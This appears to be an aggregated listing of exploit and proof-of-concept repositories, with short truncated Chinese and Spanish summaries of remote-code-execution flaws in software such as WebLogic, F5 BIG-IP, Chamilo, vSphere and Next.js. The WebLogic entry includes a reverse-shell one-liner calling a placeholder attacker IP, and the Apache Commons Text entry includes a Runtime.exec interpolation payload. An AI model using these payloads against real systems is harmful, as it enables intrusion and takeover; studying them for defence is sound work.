CVE-2022-23614

CVE-2022-23614 针对 CVE-2022-23614 的概念验证（PoC），该漏洞在 DSA-5107-1 中被提及。 CVSS-2.0 : 7.5 CVSS-3.X : 9.8 说明 Twig 是一个灵活、快速且安全的 PHP 模板引擎。值得注意的是，可以在渲染模板之前使用过滤器。sort 过滤器可用于对数组元素进行排序，结构如下： 5,8,2,3|sort'desc' Twig 有一个沙箱模式，用于评估不可信的模板代码。在此沙箱模式下，sort 过滤器的 arrow 参数必须是一个闭包，以防止攻击者运行任意 PHP...

CVE-2023-4636

CVE-2023-4636 该 limelight 中的漏洞是一个未授权的远程代码执行（RCE）问题，源于通过 Imagick 处理图像时对文件路径的控制不足。它使得攻击者能够通过 FTP 提供文件，从而导致本地文件包含和远程代码执行。在这种情况下，攻击者可能能够接管任何未打补丁的 WordPress 网站。 截图 要求 Python3.7+ 支持的操作系统 Linuxer Wingays 开始使用 $ git clone https://github.com/ThatNotEasy/CVE-2023-4636 $ cd CVE-2023-4636 $ pip/pip3 install ...

CVE-2021-42756

CVE-2021-42756 FortiWeb 5.x 所有版本、6.0.7 及以下、6.1.2 及以下、6.2.6 及以下、6.3.16 及以下、6.4 所有版本的代理守护进程中存在多个基于栈的缓冲区溢出漏洞 CWE-121，可能允许未经认证的远程攻击者通过特制的 HTTP 请求实现任意代码执行。 摘要 当启用 MitB 防护时，受保护字段的长度没有限制。这可能导致栈溢出。 PoC 环境：FortiWeb 6.3.4 参考 PSIRT Advisories | FortiGuard...

CVE-2025-8110

CVE-2025-8110 — PoC de RCE en Gogs Silentium / HackTheBox Descargo de responsabilidad: Esta herramienta está destinada estrictamente a fines educativos y pruebas de penetración autorizadas. Úsela únicamente contra sistemas para los que tenga permiso explícito. Esta es una versión modificada de...

CVE-2025-55182-Attack-Analysis

CVE-2025-55182 攻击分析：React 服务器组件远程代码执行 针对生产环境 Next.js 应用的真实攻击分析 📋 目录 执行摘要 漏洞概述 攻击时间线 技术分析 恶意软件分析 失陷指标（IOCs） 缓解措施与响应 经验教训 参考资料 执行摘要 2025 年 12 月 5 日，我们的生产环境 Next.js 应用遭到攻击者利用 CVE-2025-55182 （React2Shell）的攻击，这是 React 服务器组件中的一个严重远程代码执行漏洞。该攻击试图在我们的服务器上下载并执行 Linux 后门木马。 属性| 值 ---|--- CVE ID|...

CVE-2021-21972

CVE-2021-21972 CVE-2021-21972 VMware vSphere Client 未授权文件上传导致远程代码执行（RCE） vSphere Web Client（HTML5）本质上是一个管理界面，用于管理 vSphere 安装。vSphere Client 让管理员无需直接访问 vSphere 服务器即可使用 vSphere 的关键功能。它允许管理员创建新的虚拟机并管理现有虚拟机及其资源。作为一个跨平台的 Web 应用程序，它可以通过不同受支持版本的 Web 浏览器在所有受支持的操作系统上使用。 CVE-2021-21972 是 vCenter Server...

cve-2013-3900-remediation-report

修复报告：CVE-2013-3900 – Windows Server 2019（Azure VM）上的WinVerifyTrust漏洞 概述 在最近一次使用Tenable Nessus进行的经过身份验证的漏洞评估中，在托管于Microsoft Azure 的Windows Server 2019 虚拟机上检测到了CVE-2013-3900。此次扫描利用了管理员凭据，从而能够深入检查系统的配置和注册表设置。...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- 描述：Microsoft Word CVE-2017-0199 容易通过 HTA 处理程序遭受远程代码执行。 Microsoft Office 和 WordPad 解析特制文件的方式存在一个远程代码执行漏洞。 成功利用此漏洞的攻击者可以完全控制受影响系统。 影响：攻击者可以利用此漏洞在应用程序上下文中执行任意命令。 利用尝试失败可能导致拒绝服务条件。 厂商主页：http://www.microsoft.com 致谢：@ShadowBrokerss @EquationGroup @Petya @juansacco...

CVE-2025-55182-exploit

⚠️ 免责声明 此工具仅限授权的安全测试和教育目的使用。 仅测试您拥有或已获得明确书面许可的系统。 未经授权的使用是非法且不道德的。 开发者对滥用行为不承担任何责任。 请负责任地使用，并遵守所有适用法律。 🔍 概述 CVE-2025-55182 是 React/NextJS 应用程序中利用 experimental-form 功能的一个严重服务器端请求伪造（SSRF）和远程代码执行（RCE）漏洞。 此利用工具提供了一种可靠的方式，用于在授权环境中测试和演示该漏洞。 🎯 漏洞详情 CVE ID: CVE-2025-55182 受影响版本： React: 19.0.0 - 19.2.0...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

此存储库没有 README。...

CVE-2017-9805

CVE-2017-9805：Apache Struts 2 S2-052 RCE 分析 该仓库包含针对 Apache Struts 2 S2-052 中 XStream 反序列化 漏洞的技术细节和概念验证 PoC。 📌 漏洞信息 CVE 编号： CVE-2017-9805 漏洞类型： 远程代码执行 RCE 风险等级： 高危 9.8/10 案例分析： 哈佛大学 - OTD http://otd.harvard.edu/contact-us/ 🔍 技术概述 此漏洞源于 Apache Struts REST 插件在处理 XML 数据时不安全地使用了 XStream 库。攻击者可通过发送特制 X...

CVE-2017-9606

CVE-2017-9606 由于对完整性、真实性的检查不足，以及更新文件夹的低用户权限，本地用户可以伪造带有任意执行代码的虚假 ViPNet 更新文件，并将其放置在 ViPNet 更新文件夹中。 将虚假更新文件放入 ViPNet 更新文件夹后，ViPNet 更新系统将以系统或本地管理员权限执行它们 3.x - 具有本地管理员权限 4.x - 具有系统权限 受影响版本： Windows 版 ViPNet Client/Coordinator - 所有低于 4.3.2 42442 的 4.x 和 3.x 版本。 Windows 版 ViPNet Client/Coordinator 2.x...

Exploit-CVE-2019-2725

Exploit-CVE-2019-2725 针对 CVE-2019-2725 的简易利用工具。 示例代码： curl -X POST https://127.0.0.1/async/AsyncResponseService -H "Content-Type: text/xml" -d ' xx xx /bin/bash -c python -c "import socket,subprocess,os;s=socket.socketsocket.AFINET,socket.SOCKSTREAM;s.connect"MYIP",MYPORT;os.dup2s.fileno,0;...

CVE-2022-29303

CVE-2022-29303-Exploit CVE-2022-29303 的漏洞利用 使用方法 检测单个主机 / \ \ / / || \ | \ // \ / | \ V /| |/ / / / / // /, /| \ | \ | / || ///| /|//|/// Coded By Valentin Lobstein "With great power comes great responsibility" usage: CVE-2022-29303.py -h -u URL -c COMMAND 示例：python3 CVE-2022-29303.py -u...

vuln-chm-hijack

PuTTY 漏洞 vuln-chm-hijack 通过 CHM 劫持实现潜在的恶意代码执行 关于 在 0.70 及更早版本中，当你在任何 Windows PuTTY GUI 工具中启动在线帮助时，该工具会通过在其可执行文件所在目录中查找帮助文件。 如果你从一个无关代码可以放置文件的目录中运行 PuTTY（例如，直接从浏览器的默认下载目录运行），这意味着如果有人设法将一个名为 putty.chm 的文件放入该目录（例如，诱使你点击同名的下载链接），那么 PuTTY 会认为它是真正的帮助文件，并将其提供给 htmlhelp.exe。 这是一个漏洞，因为 HTML...

CVE-2016-2098

CVE-2016-2098 Ruby on Rails 中 Action Pack 在 3.2.22.2 之前版本、4.x 在 4.1.14.2 之前版本及 4.2.x 在 4.2.5.2 之前版本中，允许远程攻击者利用应用程序对 render 方法的无限制使用来执行任意 Ruby 代码。 分类 输入验证错误 致谢 来自 makandra 的 Tobias Kraze 和 Phenoelit 的 joernchen 使用方法 请对代码进行必要的修改以最好地满足您的需求 这并不完美，因为我正在持续学习 Python...

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit

CVE-2024-21413-Microsoft-Outlook-RCE-Exploit CVE-2024-21413 Microsoft Outlook RCE 漏洞利用...

Chamilo-CVE-2023-4220-Exploit

Chamilo-LMS-CVE-2023-4220-Exploit 这是一个针对 Chamilo LMS 中大文件上传功能 /main/inc/lib/javascript/bigupload/inc/bigUpload.php 的未限制文件上传漏洞（CVE-2023-4220）的利用程序。受影响版本为 Chamilo LMS = v1.11.24。攻击者可通过上传 Web Shell 获得远程代码执行权限，从而允许任意文件被上传到 /main/inc/lib/javascript/bigupload/files 目录。 漏洞利用演示 你可以首先运行该漏洞利用程序以了解如何使用它：...

CVE-2022-1388-rs

CVE-2022-1388-rs 用 Rust 编写的 CVE-2022-1388 F5 BIG-IP iControl REST 认证绕过 RCE 扫描器和交互式 shell 摘要 总结一下，以下是利用此漏洞所需请求的必要条件： Connection 头部必须包含 X-F5-Auth-Token 必须存在 X-F5-Auth-Token 头部 Host 头部必须是 localhost / 127.0.0.1，或者 Connection 头部必须包含 X-Forwarded-Host Auth 头部必须设置为 admin 用户名和任意密码 PoC POST...

CVE-2022-42899

CVE-2022-42899 Apache Common Text 从 1.5 版本到 1.9 版本存在远程代码执行漏洞 CVE-2022-42899。 final StringSubstitutor interpolator = StringSubstitutor.createInterpolator; interpolator.replace"$script:javascript:java.lang.Runtime.getRuntime.exec'"; // Here you will pass payload which you want to execute such as...